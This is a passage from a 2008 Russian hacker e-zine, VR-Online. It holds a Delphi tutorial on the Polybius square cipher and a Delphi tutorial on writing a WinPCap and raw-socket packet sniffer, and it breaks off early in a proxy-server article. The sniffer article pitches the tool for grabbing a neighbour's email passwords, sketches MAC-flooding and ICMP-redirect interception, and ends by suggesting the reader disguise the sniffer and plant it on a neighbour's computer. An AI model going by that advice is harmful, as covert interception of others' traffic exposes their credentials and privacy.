VR-Online (September 2008)

Page 1


INTRO Уже больше года мы не выпускали новых журналов, да и в целом не делали на сайте крупных обновлений. Главная причина как всегда одна и та же - отсутствие времени. Чем взрослее становишься, тем больше начинаешь испытывать нехватку самого ценного ресурса. Я сейчас с ностальгией вспоминаю свое детство - время, когда я совсем не жалел своего времени и расходовал его направо и налево, не задумываясь о его ценности. Да, хорошо тогда было, но к счастью (или, к сожалению) время не стоит на месте, и теперь приходится жить по другому. Для VR-Online.ru этот год (на мой взгляд) был одним из самых неблагоприятных (хоть год еще и не закончился, но промежуточные итоги уже можно подводить). Мы всей тимой немного подзабили на проект, и не выпускали новых журналов, практически не писали статей и даже новости постили не всегда. А в сентябре сайт вообще был недоступен в течении двух недель (это, кстати, целиком моя вина, тима тут не причем). Но вот сегодня все немного изменилось. Перед тобой новый номер нашего журнала, а значит, сейчас VR не мертв и возможно начинает вылезать из комы. Что-ж, я боюсь строить прогнозы, но буду надеяться, что этот номер не станет последним и следующий выйдет по плану - в конце октября, а сайт будет работать и сменит лицо и движок. Не буду больше ничего писать и уж тем более пытаться обещать, а просто пожелаю тебе приятного чтения. Надеюсь, номер тебе понравится, и ты вернешься на сайт за следующим. Я также надеюсь, что поможешь улучшить качество будущих журналов. Как? Очень просто! Прочитав этот номер, потрать минут 10 и напиши мне письмо (antonov.igor.khv@gmail.com), в котором расскажи про то что тебе понравилось, а от чего не хотелось плеваться. Твои письма, помогут мне недопустить ошибок, и сделать следующий номер чуточку лучше. Итак, хватит говорить, пора читать! Spider_NET

Идея: Фленов Михаил Редактор номера: Антонов Игорь aka Spider_NET (antonov.igor.khv@gmail.com) Графика в журнале: Васючков Андрей aka Soffrick (soffrick@mail.ru) Текущий состав VR-Team: Horrific, Romul, LittleBudda, Soffrick, Egoiste, FrIToOll, Lord_of_fear, f.e.nix, KeyWarez, tripsin, Vatanaba Вопросы по журналу: antonov.igor.khv@gmail.com


КОДИНГ.................................................................... 4 ПОЛИБИАНСКИЙ КВАДРАТ .............................................5 ПОСНИФИМ ВСЕ ..........................................................13 PROXY SERVER ДЛЯ ЛОКАЛЬНОЙ СЕТИ ........................22 DELPHI И ПЕРСИСТЕНТНОСТЬ — НОВЫЙ ВЗГЛЯД ...........33 КОДИМ BITTORRENT-КЛИЕНТ. ЧАСТЬ ПЕРВАЯ ...............49 СИСТЕМА ЦЕЗАРЯ С КЛЮЧЕВЫМ СЛОВОМ .....................62 ФУНКЦИОНАЛЬНАЯ ШПИОНОМАНИЯ .............................68 SECURITY ............................................................... 80 ПРОНИКАЯ В МОСК ......................................................81


КОДИНГ


Полибианский квадрат Интро Данной статьей я открываю своё принятие в ряды команды VR-Online. Давно хотелось поучаствовать в подобном проекте. И вот, так сказать, моя мечта детства сбылась…)) Ура! Надеюсь, я стану достойным тимовцем (а куда ты денешься? – прим. ред.). Теперь пора и по делу. Возникло у меня желание осветить (по возможности большинство известных и не очень) методы шифрования. Их много всяких и хотелось бы рассказать обо всем по порядку, «выстроить» некую памятку для всех тех, кто заботится о сохранности (вернее о конфиденциальности) своих данных. Я планирую, цикл статей, в них я рассмотрю методы шифрования текстовой информации (возможно и другой). Само собой без практики дело не обойдется. Но перед тем как начать постигать практику, давай разберемся с теорией. Введение Что же такое криптография? Толкований термина существует несколько. Я буду придерживаться следующего: Криптография - совокупность методов преобразования данных, направленных на то, чтобы сделать эти данные бесполезными для противника. Такие преобразования позволяют решить две главные проблемы защиты данных: проблему конфиденциальности (путем лишения противника возможности извлечь информацию из канала связи) проблему целостности (путем лишения противника возможности изменить сообщение так, чтобы изменился его смысл, или ввести ложную информацию в канал связи). Чтобы было более-менее понятно, и ты мог наглядней представлять себе процесс шифрования, взглянем на обобщённую схему криптографической системы (криптосистемы), обеспечивающей шифрование передаваемой информации (рисунок 1) K M Отправитель

M

C Шифрование Ек(М)

Расшифрование Dk(C)

Получатель

Перехватчик Рисунок 1 (Обобщённая схема криптосистемы) Схема есть, а где объяснение? Давайте же посмотрим, что здесь происходит. Так вы сможете в дальнейшем понимать все выполняемые шаги. Итак, отправитель (возможно, ты) генерирует открытый текст исходного сообщения М (любовное послание), которое


должно быть передано законному получателю (твоей подруге J) по незащищенному каналу. За каналом с любопытством следит перехватчик (твои родители, твой младший брат и т.д.) с целью поснифать и раскрыть передаваемое сообщение (узнать о твоих чувствах, которые так трепетно скрываешь от них). Для того чтобы перехватчик остался с носом и не посмотрел сообщения М, ты шифруешь его с помощью обратимого преобразования Ек и получаешь шифртекст (или криптограмму) С = Ек (М), который отправляешь подруге (с пометкой Люблю J). Итак, письмо доставлено. Но что с ним теперь делать подруге. В открытом виде она его не прочитает, так как содержимое зашифровано. Как быть? Раз было использовано обратимое преобразование, значит расшифровка принятого шифртекста С возможна с помощью обратного преобразования D = Ек-1. На выходе, как несложно догадаться, получится заветное исходное (любовное) сообщение в виде открытого текста М. В виде формулы это выглядит так: Dk (С) = Ек-1 (Ек (М)) = М Преобразование Ек выбирается из семейства криптографических преобразований, называемых криптоалгоритмами (которые мы и будем рассматривать в данном цикле статей). Параметр, с помощью которого выбирается отдельное используемое преобразование, называется криптографическим ключом К. Криптосистема может иметь разные варианты реализации: набор инструкций, аппаратные средства, комплекс программ компьютера, которые позволяют ей зашифровать открытый текст и расшифровать шифртекст различными способами, один из которых выбирается с помощью конкретного ключа К. Классы криптосистем Вообще говоря, преобразование шифрования может быть симметричным или асимметричным относительно преобразования расшифрования. Это важное свойство функции преобразования определяет два класса криптографических систем: • •

симметричные (одноключевые) криптосистемы; асимметричные (двухключевые) криптосистемы (с открытым ключом).

Схема симметричной криптосистемы с одним секретным ключом была показана на рисунке 1. В такой системе используются одинаковые секретные ключи в блоке шифрования и блоке расшифрования. Схему ассиметричной криптосистемы с двумя разными ключами (открытым и секретным) и само ассиметричное криптование пока рассматривать не будем. Традиционные симметричные криптосистемы В этой части статьи будут вкратце описаны методы, которые мы подробно рассмотрим на протяжении всего цикла. Также дадим определения ещё некоторым важным терминам и перечислим требования к методам (шифрам) криптозащиты вашей информации. Большая часть средств защиты информации базируется на использовании криптографических шифров и процедур шифрования-расшифрования. Под шифром мы будем понимать совокупность обратимых преобразований множества открытых данных на множество зашифрованных данных, задаваемых ключом и алгоритмом криптографического преобразования.


Ключ - это секретное состояние некоторых параметров алгоритма криптографического преобразования данных, обеспечивающее выбор только одного варианта из всех возможных для данного алгоритма. Основной характеристикой шифра является криптостойкость, которая определяет его стойкость к раскрытию методами криптоанализа. На практике эта характеристика определяется интервалом времени, необходимым для раскрытия шифра. К шифрам, используемым для криптографической защиты информации, предъявляется ряд требований: • • • •

достаточная криптостойкость (надежность, закрытия данных); простота процедур шифрования и расшифрования; незначительная избыточность информации за счет шифрования; нечувствительность к небольшим ошибкам шифрования и др.

В той или иной мере этим требованиям отвечают: • • • •

шифры перестановок; шифры замены: шифры гаммирования; шифры, основанные на аналитических преобразованиях шифруемых данных.

Процессы шифрования и расшифрования осуществляются в рамках некоторой криптосистемы. Характерной особенностью симметричной криптосистемы является применение одного и того же секретного ключа как при шифровании, так и при расшифровании сообщений. Что можно сказать ещё? Ах да, следует отметить, что как открытый текст, так и шифртекст образуются из букв, входящих в конечное множество символов, называемых алфавитом. Примерами алфавитов являются конечное множество всех заглавных букв, конечное множество всех заглавных и строчных букв и цифр и т.д. и т.п. В общем виде некоторый ∑ алфавит можно представить так:

∑ = {a 0 , a1 , a 2 ,..., a m −1 }. Объединяя по определенному правилу буквы из алфавита ∑, можно создать новые

алфавиты: алфавит ∑ алфавит ∑

2

, содержащий m2 биграмм a 0 a 0 , a 0 a1 ,..., a m −1 a m −1 ;

3

, содержащий

m3 триграмм a 0 a 0 a 0 , a 0 a 0 a1 ,..., a m −1 a m −1 a m −1

На этом вводной информации, думаю, достаточно. Теперь от статьи к статье всего цикла мы будем конкретно рассматривать каждый из шифров традиционных симметричных криптосистем, указанных выше, и реализовывать одну или несколько их вариаций (видов). А в следующих циклах (надеюсь, что у меня хватит времени на них) будем рассматривать современные симметричные криптосистемы, ассиметричные криптосистемы и реализацию некоторых их алгоритмов. Ближе к телу


Начнём рассмотрение традиционных симметричных криптосистем с шифров простой замены. Шифрование заменой (подстановкой) заключается в том, что символы шифруемого текста заменяются символами того же или другого алфавита с заранее установленным правилом замены. И сегодня рассмотрим реализацию одной из разновидностей таких шифров: Полибианский квадрат. Он считается одним из первых шифров простой замены. За два века до нашей эры греческий писатель и историк Полибий изобрел для целей шифрования квадратную таблицу размером 5х5, заполненную буквами греческого алфавита в случайном порядке (рисунок 2) α

ε

υ

ω

γ

ρ

ζ

δ

σ

ο

μ

η

β

ξ

τ

ψ

π

θ

α

Χ

χ

ν

φ

ι

Рисунок 2 (Полибианский квадрат, заполненный случайным образом 24 буквами греческого алфавита и пробелом) Для дальнейшей программной реализации данного метода Вам необходимо понять его суть. А суть очень и очень проста)). При шифровании в этом полибианском квадрате вы должны находить очередную букву Вашего открытого текста и записывать в выходной шифртекст букву, расположенную ниже ее в том же столбце. Если буква исходного текста оказывается в нижней строке таблицы, то для шифртекста необходимо взять самую верхнюю букву из того же столбца. Вот и всё… Покодим немножко Предупрежу сразу, разрабатываемая программа не будет мега сложной. Но каков алгоритм, такова и реализация. Возможно, программы следующих статей будут посложнее. Запускаем Вашу любимую среду разработки. Я буду пользоваться CodeGear RAD Studio 2007 и языком Delphi. На форме нам понадобится один StringGrig для нашего квадрата (размер 6x6), TEdit для Вашего исходного сообщения, два Edit’a для зашифрованного и расшифрованного сообщений, а также две кнопки для реализации операций шифрования-расшифрования. У меня получилась следующая форма (рисунок 3), у Вас может быть другая.


Рисунок 3 (Форма будущего приложения) Суть алгоритма мы уже рассматривали. Всю работу разрабатываемой программы разделим условно на 3 этапа: • • •

заполнение полибианского квадрата; зашифровка; расшифровка.

Заполнение нашего квадрата будет происходить при создании формы. Как я уже сказал, будем использовать сетку размером 6 клеток на 6. В полибианском квадрате будем использовать русский алфавит (а-я) (буквы нижнего регистра), символы «.», «,» и «-», а также один пробел. При желании вы можете составить алфавит в соответствии с вашими потребностями (там могут быть дополнительные спецсимволы, буквы верхнего регистра и прочее). Кстати квадрат будет заполняться начиная с нижней правой клетки и далее влево по строкам вверх (то есть построчно). Шифрование исходного сообщения будет происходить по нажатии одноимённой кнопки. Текст для шифрования будет браться из поля «Исходное сообщение». Зашифрованный текст будет выведен в поле справа от данной кнопки. Процедура расшифрования будет происходить по нажатию кнопки «Расшифровать», а результат (Ваше исходное сообщение) будет выведено в поле справа. Так, этапы работы расписаны. Теперь пора и представить код J Заполнение полибианского квадрата: { Заполнение полибианского квадрата procedure TForm1.FormCreate(Sender: var i, j, k: integer; a: Byte; begin { Первый символ заполняем пробелом mas[0] := chr(32); { Цикл заполнения алфавита буквами for i := 1 to 32 do

} TObject);

(код 32)} русского алфавита в нижнем регистре}


begin { Их коды начинаются начиная с номера 224 по таблице ASCII } mas[i] := chr(223+i); end; { Запятая } mas[33] := chr(44); { Тире } mas[34] := chr(45); { Точка } mas[35] := chr(46); { Последний индекс массива } k := Length(mas)-1; { 36-1=35 } { Начинаем заполнять StringGrig1 нашим алфавитом } for i := 0 to 5 do for j := 0 to 5 do begin StringGrid1.Cells[j,i] := mas[k]; k := k-1; end;

Процедура зашифровки: { Зашифрока исходного сообщения } procedure TForm1.Crypt(src: AnsiString); var i, j, k, dlina: Integer; str: AnsiString; { зашифрованная строка } begin dlina := length(src); { длина исх. сообщения } str := ''; { очищаем } for k := 1 to dlina do { бежим по всем символам исх. сообщения } for i := 0 to 5 do { строки } for j := 0 to 5 do { столбцы } { Проверяем есть ли буква исходного сообщения в нашем алфавите } if StringGrid1.Cells[j,i] = src[k] then { Если буква исходного текста не оказывается в нижней строке таблицы } if i <> 5 then { Записываем в выходной шифртекст букву, расположенную ниже ее в том же столбце (i=i+1) } str := str + StringGrid1.Cells[j, i+1] else { Если буква исходного текста оказывается в нижней строке таблицы } if i = 5 then { Берём самую верхнюю букву из того же столбца (i=0) } str := str + StringGrid1.Cells[j, 0]; { Выводим зашифрованный тест } edtCryptText.Text := str; end;

Процедура расшифровки: { Расшифрока зашифрованного сообщения } procedure TForm1.Encrypt(src: AnsiString); var i, j, k, dlina: Integer; str: AnsiString; { расшифрованная строка } begin dlina := length(src); { длина зашифрованного сообщения } str := ''; { очищаем } for k := 1 to dlina do { бежим по всем символам зашифрованного сообщения } for i := 0 to 5 do { строки } for j := 0 to 5 do { столбцы } { Проверяем есть ли буква зашифрованного сообщения в нашем алфавите } if StringGrid1.Cells[j,i] = src[k] then { Если буква зашифрованного текста не оказывается в верхней строке таблицы } if i <> 0 then


{ Записываем в выходной шифртекст букву, расположенную выше ее в том же столбце (i=i1) } str := str + StringGrid1.Cells[j, i-1] else { Если буква зашифрованного текста оказывается в верхней строке таблицы } if i = 0 then { Берём самую нижнюю букву из того же столбца (i=5) } str := str + StringGrid1.Cells[j, 5]; { Выводим зашифрованный тест } edtEncryptText.Text := str; end;

Весь код представлен с подробнейшими комментариями. Поэтому не вижу смысла особо разъяснять, что здесь и к чему. И так понятно… ;) Единственно, на что следует обратить внимание, так это на то, что для преобразования числа в символ используется функция Chr(). Что касается расшифровки, то этот процесс полностью обратен процессу зашифровки. То есть сравнение уже происходит не с нижней строкой таблицы, а с верхней. А в выходной расшифрованный текст будем записывать букву, расположенную выше буквы шифртекста в том же столбце. То есть если буква шифртекста попадает на верхнюю строку нашей таблицы (Полибианский квадрат), то замещать её будем буквой нижней строки того же столбца (думаю, понятно объяснил). Пример работы программы представлен на рисунке ниже:

Рисунок 4 (Пример работы программы) Если что-то не понятно, вы всегда можете обратиться к коду проекта, находящегося в архиве (polibian_square.rar). Аутро Это мой первый опыт написания статей и соответственно первая статья. А всё первое, как известно, комом J. Поэтому прошу Вас, не судить строго, а поправить и подсказать, что не так, указать на неточности и ошибки, а также оценить стиль изложения. В общем, жду конструктивных поправок на мой адрес почты или в добрую тётю асю. Постараюсь в следующих статьях исправляться, если что не так.


Возможно, вы скажете, что в статье слишком много теории – и будете правы. А куда без неё?! В следующих статьях её будем меньше. Статью я старался писать так, чтоб понятно было и интересно и мне самому (по крайней-мере я так старался). Читайте, оценивайте и поправляйте. Надеюсь, статья вам понравится (?). Увидимся в следующей раз!

Written by Plehanoff Nikita aka egoiste E-mail: egoiste@xaker.ru ICQ: 448-247-406


Поснифим все Вступление Sniffer – тулза № 1 для хакера. Поснифать и проанализировать трафик, выудить из него пароли к почтовому ящику своего соседа Васи Пупкина – типичные задачи, которые возлагают на подобные программы. Etherscan Analyzer, EtherSnoop, Ettercap, ZxSniffer – хорошо зарекомендовавшие снифферы. В нашем журнале мы не один раз рассказывали про их правильное использование. Юзать эти проги несомненно круто, но намного круче написать свой 31337’й сниффер, который будет обладать тем функционалом, который нужен лишь тебе, а не кому еще! Вот об этом мы и поговорим в этой статье. Теория сниффера Перед практикой рассмотрим теорию, сам понимаешь, без нее родимой нынче никуда. Итак, начнем с определения. Сниффер – программа или аппаратное устройство для перехвата сетевого трафика. Аппаратные снифферы нас не будут интересовать, а вот программные мы рассмотрим подробней. Условно снифферы можно разделить по способу прослушивания сети: активное и пассивное. Пассивное прослушивание – снифферы, использующие этот вид, простонапросто переводят сетевую карту в режим: promiscuous (неразборчивый). В этом случае становится возможным получить все пакеты в сегменте Ethernet. Сразу хочу развеять внезапно возникшие фантазии. Все пакеты ты сможешь увидеть только в том случае, если сеть построена на так называемых хабах (hub). В сетях, где используются устройства типа свитч (switch), такие фокусы не пройдут. Почему? Секрет кроется в работе сетевого устройства. Хабы – довольно безграмотные жестянки, одним словом - двоечники. Все пришедшие данные с одного порта, они передают на все остальные, т.е. даже не задумываясь о том, на каком порту находится получатель, для которого эти данные собственно и были предназначены. Свитчи – это своего рода отличники. Они с немецкой дотошностью проверяют заголовки пришедших кадров данных и пересылают их в другой сегмент только в том случае, если в нем есть истинный получатель. Снифферы использующие активное прослушивания сети – являются более продвинутыми. Для перехвата тяжелого трафика они используют разные способы. Наиболее известные из них: 1. MAC Flooding. Актуален для устаревших свитчей. Суть данного метода в том, что многие старые свитчи, имели лимит памяти, в которой хранилась адресная таблица. Если умудриться ее зафлудить, то switch переставал проверять данные перед их отправкой, и просто слал их на все порты, подобно обычному хабу. Способ достаточно прост в реализации, но, к сожалению таких свитчей, уже найти практически нереально. 2. MAC Duplicating. Данный способ активного прослушивания заключается в изменении своего MAC на MAC жертвы. В результате, все отправляемые жертве пакеты будут дублироваться и тебе. 3. Routing attacks. Этот способ основан на отправке жертве фальшивых ICMP Redirect сообщений. Такие сообщения используются роутерами, для сообщения узлу адреса нового роутера, но с более коротким путем для запрашиваемого узла. Таким образом, можно в качестве адреса нового роутера подставить адрес своей тачки и все пакеты будут проходить через твой комп. Весомым минусом данного способа является – игнорированием современных ОС сообщений ICMP Redirect.


Сниффер с точки зрения кодера С точки зрения программирования, наиболее простыми в реализации являются снифферы, использующие пассивное прослушивание. Сейчас легко найти кучу готовых драйверов, которые занимаются перехватом трафика и все, что остается сделать – изучить хелп по работе с ними и написать свою программу-интерфейс. Подобным образом и работают многие известные снифферы. Если ты думаешь, что это несерьезно, то спешу огорчить тебя. Хороший сниффер должен не только уметь захватывать данные, но и разбирать их, а это уже достаточно серьезная задача. Среди драйверов для перехвата трафика чаще всего используется WinPCap (http://www.winpcap.org/). Этот драйвер один из немногих поддерживает все NT версии Windows, поэтому его можно юзать не опасаясь, что твое творение где-то вылетит с ошибкой. Допустим, что тебе не хочется заморачиваться с драйверами, то можно пойти более простым путем – использовать raw sockets («сырые» сокеты). Такой тип сниффера реализовать тоже достаточно просто, а если учесть, что в нашей рубрике «Кодинг», я уже неоднократно приводил примеры сетевых приложений с использованием WinSock API, то задача становится и вовсе нетривиальной.

Рисунок 1 (Официальный сайт разработчиков WinPCap)


Универсальные компоненты Сегодня мы создадим сниффер, который будет поддерживать работу сразу по двум технологиям: используя драйвер WinPCap и RAW Socket. Для воплощения этой безумной идеи я принял решение найти какую-нибудь универсальную библиотеку компонент. Признаюсь честно, в начале я даже не думал, что-то подобное существует. Но немного погуглив я наткнулся на очень интересный наборчик - Magenta Systems Internet Packet Monitoring Components (http://www.magsys.co.uk). Столь полезная библиотека состоит из двух главных не визуальных компонент: TMonitorPCap (взаимодействует с WinPCap) и TMonitorSocket (использует «сырые» сокеты). Оба компонента написаны достаточно хорошо и при использовании глюков замечено не было. Давай рассмотрим их возможности. TMonitorSocket Свойство Addr

Тип String

Описание IP который будет «прослушиваться»

маска, для игнорируемых IP Игнорировать полученные данные Если в AddrMask установлена маска, а здесь true, то будут игнорироваться IP по данной маске TotSendBytes Int64 Количество отправленных байт TotRecvBytes Int64 Количество полученных байт TotSendPackets Integer Количество отправленных пакетов TotRecvPackets Integer Количество принятых пакетов Таблица 1 (Общие свойства TMonitorSocket и TMonitorPCap) AddrMask IgnoreData IgnoreLAN

String Boolean Boolean

Метод Параметры Описание SartMonitor Нет Запустить мониторинг StopMonitor Нет Остановить мониторинг SetIgnoreIP IpAddr:string Добавить IP в список игнорируемых ClearIgnoreIP Нет Очищает список IP в игноре Таблица 2 (Общие методы TMonitorSocket и TMonitorPCap) Свойство AdapterNameList

Тип TStringList

Описание Список содержит имена всех имеющихся сетевых адаптеров AdapterDescList TStringList Имена сетевых адаптеров в «нормальном» DriverVersion String Версия WinPCap Connected Boolean Наличие соединения. Если true, то все работает отлично. LastError String Описание последней возникшей ошибки Promiscuous Boolean Включение «неразборчивого» режима Таблица 3 (Специфичные методы и свойства для TMonitorPCap) Все свойства и методы обоих компонентов перечислены в соответствующих таблицах. Единственное, что в них не попало – описание одного единственного обработчика события: TPacketEvent. Событие описано следующим образом:


TPacketEvent = procedure (Sender: TObject; PacketInfo: TPacketInfo) of object;

Первый параметр я думаю объяснять не нужно, т.к. если ты программируешь на Delphi, то знать это просто обязан, а вот второй рассмотрю подробней. Во втором параметре передается структура типа TPacketInfo, в которой и хранятся все захваченные данные. Структура описана так: TPacketInfo = record PacketLen: integer; EtherProto: word; EtherSrc: TMacAddr; therDest: TMacAddr; AddrSrc: TInAddr; AddrDest: TInAddr; PortSrc: integer; PortDest: integer; ProtoType: byte; TcpFlags: word; SendFlag: boolean; IcmpType: byte; DataLen: integer; DataBuf: string; PacketDT: TDateTime; end;

- packetLen – Длина полученного пакета - EtherProto – Тип Ethernet протокола. Может быть: PUP, XNS, IP, ARP, RARP, SCA, IPv6, LOOP, XIMT, IPX и т.д. Полное описание можешь посмотреть в packhdrs.pas. - EtherSrc – MAC адрес отправителя - EtherDest – MAC адрес получателя - AddrSrc – IP отправителя - AddrDest – IP получателя - PortSrc – Порт отправителя - PortDest – Порт получателя - ProtoType – Тип транспортного протокола. Может быть: IPPROTO_TCP (TCP), IPPROTO_UDP (UDP), IPPROTO_ICMP). - TcpFlags – флаги TCP/IP пакетов - SendFlags – истина, если пакет отправлен с локального IP - IcmpType – тип ICMP пакета. Возможные значения: ECHO_REPLAY, DEST_UNREA, SRC_Q, REDIR, ECHO, TTLX, BADPAR, TIME, TIME_REPLY, INFO, INFO_REPLY. - DataLen – длина захваченных данных - DataBuf - сами данные - PacketDT – время, в которое был захвачен пакет. От теории к практике Пришло время отложить теорию и перейти к реальной работе. Сейчас мы с тобой напишем самый настоящий сниффер, в казалось бы не приспособленной для этого дела среде. Запускай Delphi и создавай новый проект. Как создашь, не забудь первым делом не добавить в Uses имена модулей компонент от MSIPMC. В своем проекте я добавил: monsock, monpcap, WSocket, packet32, pcap, Winsock, magsubs1, Packhdrs. Сохрани проект попробуй его откомпилировать. Если компиляция прошла успешно, то значит Delphi смог найти указанные модули, если нет, то ты забыл прописать пути, где расположены модули. Чтоб потом не нервно не искать ошибки, разберись с этой проблемой сейчас.


Делаем форму Для сегодняшнего примера я сделал простенькую форму, которую ты можешь увидеть на одном из рисунков. По все форме я растянул TPageControll и создал две закладки «Настройки» и «Лог».

Рисунок 2 (Форма будущей программы)

Рисунок 3 (Место для лога) Закрой новоиспеченную форму и перейди в раздел private. Объяви в нем следующие переменные и процедуры: _monWinPCap: TMonitorPCap; _monRawSocket: TMonitorSocket; _nado : boolean; _adapterIpList: TStringList; _adapterMaskList: TStringList; _adapterbroadcastList: TStringList;


procedure Initialize(); procedure RefreshInfo(); procedure GetPacket(Sender: TObject; PacketInfo: TPacketInfo);

Рассмотрим сначала процедуру Initialize(). Ее вызов необходимо повесить на OnCreate формы. Сама начинка процедуры описана в листинге 1. Листинг 1 //Мониторинг сырых сокетов _monRawSocket := TMonitorSocket.Create(self); _monRawSocket.OnPacketEvent := GetPacket; cbxIpForControll.Items.Clear; cbxIpForControll.Items := LocalIpList; if (cbxIpForControll.Items.Count>0) then cbxIpForControll.ItemIndex := 0; //Если доступен WinPCap if (loadPacketDll) then _monWinPCap := TMonitorPCap.Create(self); _monWinPCap.OnPacketEvent := GetPacket; //Получаем список доступных сетевых адаптеров cbxAdapters.Items.Clear; cbxAdapters.Items.Assign(_monWinPCap.AdapterDescList); //Если в системе присутствует хоть один адаптер, //то значит нам есть чем заняться :) If (cbxAdapters.Items.Count>0) then begin cbxAdapters.ItemIndex := 0; cbUseWinPCap.Checked := true; cbPromiscuous.Checked := true; cbIgnoreNonIp.Checked := true; _adapterIpList := TStringList.Create; _adapterMaskList := TStringList.Create; _adapterBroadCastList := TStringList.Create; end else begin ShowMessage('Не обнаружен ни один сетевой адаптер!'); Application.Terminate; End; _nado := false; //Мониторинг сырых сокетов _monRawSocket := TMonitorSocket.Create(self); _monRawSocket.OnPacketEvent := GetPacket; cbxIpForControll.Items.Clear; cbxIpForControll.Items := LocalIpList; if (cbxIpForControll.Items.Count>0) then cbxIpForControll.ItemIndex := 0; //Если доступен WinPCap if (loadPacketDll) then _monWinPCap := TMonitorPCap.Create(self); _monWinPCap.OnPacketEvent := GetPacket; //Получаем список доступных сетевых адаптеров cbxAdapters.Items.Clear; cbxAdapters.Items.Assign(_monWinPCap.AdapterDescList); //Если в системе присутствует хоть один адаптер, //то значит нам есть чем заняться :) If (cbxAdapters.Items.Count>0) then begin cbxAdapters.ItemIndex := 0; cbUseWinPCap.Checked := true;


cbPromiscuous.Checked := true; cbIgnoreNonIp.Checked := true; _adapterIpList := TStringList.Create; _adapterMaskList := TStringList.Create; _adapterBroadCastList := TStringList.Create; end else begin ShowMessage('Не обнаружен ни один сетевой адаптер!'); Application.Terminate; End; _nado := false;

Переписывай пока листинг, а я прокомментирую происходящее. Итак, как я уже сказал, эта процедура должна вызываться во время создания формы и ее единственная цель инициализация всех необходимых объектов. Первое что я делаю в процедуре – создаю компоненты типа TMonitorSocket и TMonitorPCap. Обоим компонентам я устанавливаю процедуру, которая будет выполняться всякий раз, когда возникает событие OnPacketEvent. Основной код этой процедуры приведен в листинге 2. Как только TMonitorPCap инициализировался, нам сразу становятся доступным свойство AdapterDescList, в котором нас уже дожидается список доступных сетевых адаптеров. Все найденные адаптеры я переношу в соответствующий ComboBox на форме: cbxAdapters.Items.Assign(_monWinPCap.AdapterDescList);

Попробуй на данном этапе протестировать наше приложение. Скомпиль и попробуй запустить. Переписав код без ошибок, после запуска программы, ComboBox’ы для хранения списка сетевых адаптеров и IP адресов должны заполниться.

Рисунок 4 (Промежуточное тестирование) Листинг 2. Отрывок процедуры вывода пакета в окно лога if (not cbFullData.Checked) and (PacketInfo.DataLen>96) then SetLength(PacketInfo.DataBuf, 96); _b := PacketInfo.DataBuf; StringRemCntls (_b); if PacketInfo.EtherProto = PROTO_IP then


begin _srcIp := IPToStr (PacketInfo.AddrSrc) + ':' + IntToStr (PacketInfo.PortSrc); _distip := IPToStr (PacketInfo.AddrDest) + ':' + IntToStr (PacketInfo.PortDest); if PacketInfo.ProtoType = IPPROTO_ICMP then _a := Format (sPL, [TimeToZStr(PacketInfo.PacketDT), GetIPProtoName (PacketInfo.ProtoType), sPL, _srcIp, _distIp, lowercase (GetICMPType (PacketInfo.IcmpType)), PacketInfo.DataLen, _b]) else begin if (PacketInfo.DataLen = 0) then _b := GetFlags(PacketInfo.TcpFlags); _a := Format (sPL, [TimeToZStr (PacketInfo.PacketDT), GetIPProtoName (PacketInfo.ProtoType), PacketInfo.PacketLen, _srcIp, _distIp, Lowercase (GetServiceNameEx (PacketInfo.PortSrc, PacketInfo.PortDest)), PacketInfo.DataLen, _b]) ; end; end else begin _a := Format (sPL, [TimeToZStr (PacketInfo.PacketDT), GetEtherProtoName (PacketInfo.EtherProto), PacketInfo.PacketLen, MacToStr (PacketInfo.EtherSrc), MacToStr (PacketInfo.EtherDest), '', PacketInfo.DataLen, _b]) ; end; reLog.Lines.Add(_a); end;

После получения очередной порции данных, управление будет передаваться процедуре GetPacket(). Код процедуру приведен в листинге 2. Перед выводом данных в лог, нужно проверить состояние флажка cbFullData (Выводить полученные данные целиком). Если он тру, тогда будем добавлять в лог все захваченные пакеты. Получаем сами данные: _b := PacketInfo.DataBuf;

Данные получены, теперь их необходимо как-то разобрать. Легко! Сначала я пропускаю данные через функцию StringRemCntls() из модуля magsubs1.pas. Данная функция заменяет управляющие коды пробелами. Это делать необязательно, но желательно, т.к. читабельность полученной информации заметно возрастает. Когда с управляющими кодами будет покончено, надо сразу переходить к более детальному разбору. В зависимости от текущего типа данных, я вызываю всем известную функцию format, которая форматирует строку в соответствии с шаблоном. Шаблон у меня определен в константе sPL: sPl = '%-12s %-4s %4d %-20s > %-20s %-12s %4d %s';


Отформатированные данные добавляются в RichEdit. Наверняка ты заметил имена неизвестных тебе функций вроде: IPToStr(), GetICMPType() и т.д. Все они описаны в модуле packhdrs.pas и magsubs1.pas и признаны облегчить процесс разработки. Например, функция IpToStr() позволяет выудить из структуры TInAddr, IP адрес в виде строки. Честно, сказать, когда я заглянул в модули самостоятельно, то увидел интересные функции, которые пригодятся не только при программировании снифферов, но будут полезны и при разработке других программ. Поэтому советую тебе хорошенько покопаться в этом модуле. Финальный тест Возьми пример с нашего диска и посмотри код запуска монитора. Перепиши/скопируй его в свой проект и запускай, пора тестировать сниффер в боевых условиях. Результат работы программы на моем ПК следующий:

Рисунок 5 (Программа в действии) Во время тестирования программы у меня на всю катушку работал torrent клиент и Opera. Если присмотреться к логу, то отчетливо виден трафик браузера, который был поснифан. Можно считать тест оконченным и успешно пройденным. Во время теста я лицезрел только свой трафик, но вполне возможно, что ты подключен к локальной сети и у вас до сих пор используются хабы, а значит, берегитесь соседи по сетке. Даже если у тебя в сетки использую свитчи – не расстраивайся. Ты всегда можешь замаскировать свой мега сниффер и подкинуть «соседу», а потом дожидаться когда тот проверит свой почтовый ящик и сможешь зайти за логом J.

Written by Антонов Игорь E-mail: antonov.igor.khv@gmail.com WWW: http://vr-online.ru


PROXY Server для локальной сети Мы много раз рассказывали тебе, про PROXY сервера, для чего они нужны, как они работают, чем полезны хакеру и т.д. Наверняка ты пользуешься нашими советами и серфишь бескрайние просторы всемирной паутины, оставаясь не замеченным для злых дядек в погонах. А вот скажи приятель, хотелось бы тебе, заглянуть в кишки подобным программам? Узнать про алгоритмы их работы с точки зрения кода? Если ты твердо ответил «да», то усаживайся удобней, VR все расскажет и покажет. Немного теории о PROXY Скорей всего ты представляешь принципы работы proxy, тем немее для успешного усвоения материала лучше все повторить. Тем более, что много времени на это не потребуется. Итак, proxy сервер – это прежде всего программа, выступающая посредником между клиентом и сервером. Все привыкли воспринимать понятие proxy с протоколом HTTP. На самом деле существуют проксики и для других протоколов, о которых я расскажу чуть позже. Самый распространенный вид проксиков – HTTP. При работе через HTTP прокси, твой браузер не будет соединяться с сервером, на котором расположен запрашиваемый сайт, он соединиться с proxy и передаст ему запрос. Получив от тебя все необходимые данные, проксик сам соединиться с удаленным web-сервером и отправит твой запрос. После его обработки, web-сервер вернет документ проксику, которые затем отправит его тебе. Такие проксики полезны, 